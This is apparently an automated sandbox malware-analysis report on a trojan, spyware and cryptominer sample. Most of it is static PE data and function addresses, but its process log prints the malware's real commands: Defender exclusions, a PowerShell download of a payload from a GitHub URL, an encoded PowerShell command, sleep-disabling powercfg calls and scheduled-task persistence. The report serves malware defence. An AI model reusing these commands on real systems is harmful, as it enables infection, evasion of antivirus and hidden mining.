Source: file_scaricato.exe.12.dr	Static PE information: section name:
Source: file_scaricato.exe.12.dr	Static PE information: section name:
Source: file_scaricato.exe.12.dr	Static PE information: section name:
Source: file_scaricato.exe.12.dr	Static PE information: section name:
Source: file_scaricato.exe.12.dr	Static PE information: section name:

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\dmikhsv\file_scaricato.exe

Jump to dropped file

Uses powercfg.exe to modify the power settings

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -hibernate-timeout-ac 0

Source: C:\dmikhsv\file_scaricato.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe

File created: C:\ProgramData\Dllhost\WinRing0x64.sys

Jump to behavior

Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF6246E86E0	0_2_00007FF6246E86E0
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF6246E2F80	0_2_00007FF6246E2F80
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF6246E67D0	0_2_00007FF6246E67D0
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF624704328	0_2_00007FF624704328
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF6246F9AD0	0_2_00007FF6246F9AD0
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF6246E34A0	0_2_00007FF6246E34A0
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF6246E4510	0_2_00007FF6246E4510
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF62470D5BC	0_2_00007FF62470D5BC
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF6246FF550	0_2_00007FF6246FF550
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF624709D44	0_2_00007FF624709D44
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF6247035E8	0_2_00007FF6247035E8
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF6246FBDCC	0_2_00007FF6246FBDCC
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF6246ECE60	0_2_00007FF6246ECE60
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF6246F8FA4	0_2_00007FF6246F8FA4
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF624702F68	0_2_00007FF624702F68
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF6246E1000	0_2_00007FF6246E1000
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF6246F7FDC	0_2_00007FF6246F7FDC
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF6246FE7CC	0_2_00007FF6246FE7CC
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF6246FD050	0_2_00007FF6246FD050
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF624709128	0_2_00007FF624709128
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF62470B0AC	0_2_00007FF62470B0AC
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF62470C0AC	0_2_00007FF62470C0AC
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF6246FC960	0_2_00007FF6246FC960
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF6246F81E0	0_2_00007FF6246F81E0
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF6247052AC	0_2_00007FF6247052AC
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF6246F8A98	0_2_00007FF6246F8A98
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF624704A38	0_2_00007FF624704A38
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF624702AD4	0_2_00007FF624702AD4
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF62470B0AC	0_2_00007FF62470B0AC
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF624710354	0_2_00007FF624710354
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF62470EB80	0_2_00007FF62470EB80
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF6246F83E4	0_2_00007FF6246F83E4
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BEC010	14_2_00BEC010
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BB8112	14_2_00BB8112
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BC8390	14_2_00BC8390
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BC14D0	14_2_00BC14D0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BCF610	14_2_00BCF610
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BD774D	14_2_00BD774D
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BE3920	14_2_00BE3920
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BBC907	14_2_00BBC907
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BABA30	14_2_00BABA30
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BAEA60	14_2_00BAEA60
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BB5BAA	14_2_00BB5BAA
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BBBBD0	14_2_00BBBBD0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BE3CD0	14_2_00BE3CD0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BECC10	14_2_00BECC10
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BD6E1C	14_2_00BD6E1C
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BC3F3D	14_2_00BC3F3D
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BD70BB	14_2_00BD70BB
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BD70AB	14_2_00BD70AB
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BE80C0	14_2_00BE80C0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BE3030	14_2_00BE3030
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BD7014	14_2_00BD7014
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BBD05C	14_2_00BBD05C
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BB1050	14_2_00BB1050
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BA1040	14_2_00BA1040
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BC51F0	14_2_00BC51F0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BE01C6	14_2_00BE01C6
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BE3290	14_2_00BE3290
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BC92F0	14_2_00BC92F0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BAA2C0	14_2_00BAA2C0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BD723B	14_2_00BD723B
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BC6220	14_2_00BC6220
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BEB269	14_2_00BEB269
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BD63A3	14_2_00BD63A3
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BAC380	14_2_00BAC380
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BB733F	14_2_00BB733F
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BCC337	14_2_00BCC337
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BD031F	14_2_00BD031F
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BD6E1C	14_2_00BD6E1C
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BC3374	14_2_00BC3374
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BEB360	14_2_00BEB360
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BEB344	14_2_00BEB344
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BE54A0	14_2_00BE54A0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BD6464	14_2_00BD6464
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BBD5E8	14_2_00BBD5E8
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BEB5D0	14_2_00BEB5D0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BA35C4	14_2_00BA35C4
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BB9522	14_2_00BB9522
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BC5520	14_2_00BC5520
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BEC500	14_2_00BEC500
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BB06A3	14_2_00BB06A3
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BAC6E0	14_2_00BAC6E0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BDE6D0	14_2_00BDE6D0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BD9601	14_2_00BD9601
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BEB670	14_2_00BEB670
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BA4792	14_2_00BA4792
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BE37F0	14_2_00BE37F0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BDA7EB	14_2_00BDA7EB
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BD18B8	14_2_00BD18B8
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BCE8B0	14_2_00BCE8B0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BEC890	14_2_00BEC890
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BE48F0	14_2_00BE48F0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BCA82D	14_2_00BCA82D
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BE29FB	14_2_00BE29FB
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BB69F3	14_2_00BB69F3
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BCC9F0	14_2_00BCC9F0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BBE9C7	14_2_00BBE9C7
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BEAABA	14_2_00BEAABA
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BD0AF8	14_2_00BD0AF8
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BC0AF0	14_2_00BC0AF0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BB3A30	14_2_00BB3A30
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BC4A30	14_2_00BC4A30
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BCFA40	14_2_00BCFA40
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BDABB9	14_2_00BDABB9
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BD5BF8	14_2_00BD5BF8
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BD9B19	14_2_00BD9B19
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BDEB50	14_2_00BDEB50
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BA8B47	14_2_00BA8B47
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BD0CB7	14_2_00BD0CB7
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BBDCAD	14_2_00BBDCAD
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BE4C80	14_2_00BE4C80
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BCECE0	14_2_00BCECE0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BBFCD2	14_2_00BBFCD2
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BAFC30	14_2_00BAFC30
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BC8C40	14_2_00BC8C40
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BBAD90	14_2_00BBAD90
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BA7DEE	14_2_00BA7DEE
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BCCD10	14_2_00BCCD10
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BE9B8D	14_2_00BE9B8D
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BABD70	14_2_00BABD70
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BD7D60	14_2_00BD7D60
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BA3EB0	14_2_00BA3EB0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BDFEF2	14_2_00BDFEF2
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BADECC	14_2_00BADECC
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BD8E03	14_2_00BD8E03
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BACE40	14_2_00BACE40
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BC0FB1	14_2_00BC0FB1
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BACFA0	14_2_00BACFA0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BA6F90	14_2_00BA6F90
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BDCF8C	14_2_00BDCF8C
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BD1F38	14_2_00BD1F38
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BCCF3B	14_2_00BCCF3B
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BA8F30	14_2_00BA8F30
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BBC907	14_2_00BBC907
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_033C58C8	14_2_033C58C8
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Code function: 15_2_00CCF2E4	15_2_00CCF2E4
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Code function: 15_2_028CB338	15_2_028CB338
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Code function: 15_2_028CA040	15_2_028CA040
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Code function: 15_2_028C6700	15_2_028C6700
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Code function: 15_2_028C9770	15_2_028C9770
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Code function: 15_2_028CDA88	15_2_028CDA88
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Code function: 15_2_028CC878	15_2_028CC878
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Code function: 15_2_028CB327	15_2_028CB327
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Code function: 15_2_028C66F0	15_2_028C66F0
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Code function: 15_2_028C9428	15_2_028C9428
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Code function: 15_2_028C0508	15_2_028C0508
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Code function: 15_2_028C0518	15_2_028C0518
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Code function: 15_2_028CDA7A	15_2_028CDA7A
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Code function: 15_2_028CC86A	15_2_028CC86A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_04DEB570	18_2_04DEB570
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_04DEB550	18_2_04DEB550

Source: Joe Sandbox View	Dropped File: C:\ProgramData\Dllhost\WinRing0x64.sys 11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe 483B1D7DAC70DE82E9B22A0C1ED775CF7E10B0A3790C5AA1B9215DBCD1754302

Source: C:\dmikhsv\file_scaricato.exe	Code function: String function: 00BAB2B0 appears 46 times
Source: C:\dmikhsv\file_scaricato.exe	Code function: String function: 00BBAD80 appears 99 times

Source: Arly.exe1.exe

Static PE information: invalid certificate

Source: winlogson.exe.15.dr

Static PE information: Number of sections : 11 > 10

Source: winlogson.exe.15.dr

Static PE information: No import functions for PE file found

Source: winlogson.exe.15.dr

Static PE information: Data appended to the last section found

Source: file_scaricato.exe.12.dr	Static PE information: Section: ZLIB complexity 0.9996308117378049
Source: file_scaricato.exe.12.dr	Static PE information: Section: ZLIB complexity 1.00048828125
Source: file_scaricato.exe.12.dr	Static PE information: Section: ZLIB complexity 0.993828125
Source: file_scaricato.exe.12.dr	Static PE information: Section: ZLIB complexity 0.9975873161764706
Source: file_scaricato.exe.12.dr	Static PE information: Section: .data ZLIB complexity 0.9971385439410481

Source: WinRing0x64.sys.15.dr

Binary string: \Device\WinRing0_1_2_0

Source: classification engine

Classification label: mal100.troj.spyw.evad.mine.winEXE@39/19@4/5

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4992:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7348:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Mutant created: \Sessions\1\BaseNamedObjects\ProgramV3
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3272:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3400:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l4cbgvu0.prf.ps1

Jump to behavior

Source: Arly.exe1.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\dmikhsv\file_scaricato.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Arly.exe1.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Arly.exe1.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file_scaricato.exe, 0000000E.00000003.1476941823.00000000043B4000.00000004.00000800.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.1502276975.00000000043B4000.00000004.00000800.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.1477773753.0000000004395000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Arly.exe1.exe	Virustotal: Detection: 22%
Source: Arly.exe1.exe	ReversingLabs: Detection: 15%

Source: unknown	Process created: C:\Users\user\Desktop\Arly.exe1.exe "C:\Users\user\Desktop\Arly.exe1.exe"
Source: C:\Users\user\Desktop\Arly.exe1.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Arly.exe1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\dmikhsv', 'C:\Users', 'C:\ProgramData'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\dmikhsv', 'C:\Users', 'C:\ProgramData'"
Source: C:\Users\user\Desktop\Arly.exe1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe' -OutFile 'C:\dmikhsv\file_scaricato.exe'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe' -OutFile 'C:\dmikhsv\file_scaricato.exe'"
Source: C:\Users\user\Desktop\Arly.exe1.exe	Process created: C:\dmikhsv\file_scaricato.exe "C:\dmikhsv\file_scaricato.exe"
Source: C:\dmikhsv\file_scaricato.exe	Process created: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe "C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe"
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C powershell -EncodedCommand "PAAjAEoARQAwADAATAB0ADcAUgBEAG8AIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBlAHYAcAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBMAHUARABuACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjADYAQQBlAGEAdABuACMAPgA=" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "PAAjAEoARQAwADAATAB0ADcAUgBEAG8AIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBlAHYAcAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBMAHUARABuACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjADYAQQBlAGEAdABuACMAPgA="
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /hibernate off
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk5482" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk5482" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Source: C:\Users\user\Desktop\Arly.exe1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\dmikhsv', 'C:\Users', 'C:\ProgramData'"	Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe' -OutFile 'C:\dmikhsv\file_scaricato.exe'"	Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe	Process created: C:\dmikhsv\file_scaricato.exe "C:\dmikhsv\file_scaricato.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\dmikhsv', 'C:\Users', 'C:\ProgramData'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe' -OutFile 'C:\dmikhsv\file_scaricato.exe'"	Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Process created: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe "C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C powershell -EncodedCommand "PAAjAEoARQAwADAATAB0ADcAUgBEAG8AIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBlAHYAcAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBMAHUARABuACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjADYAQQBlAGEAdABuACMAPgA=" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"	Jump to behavior
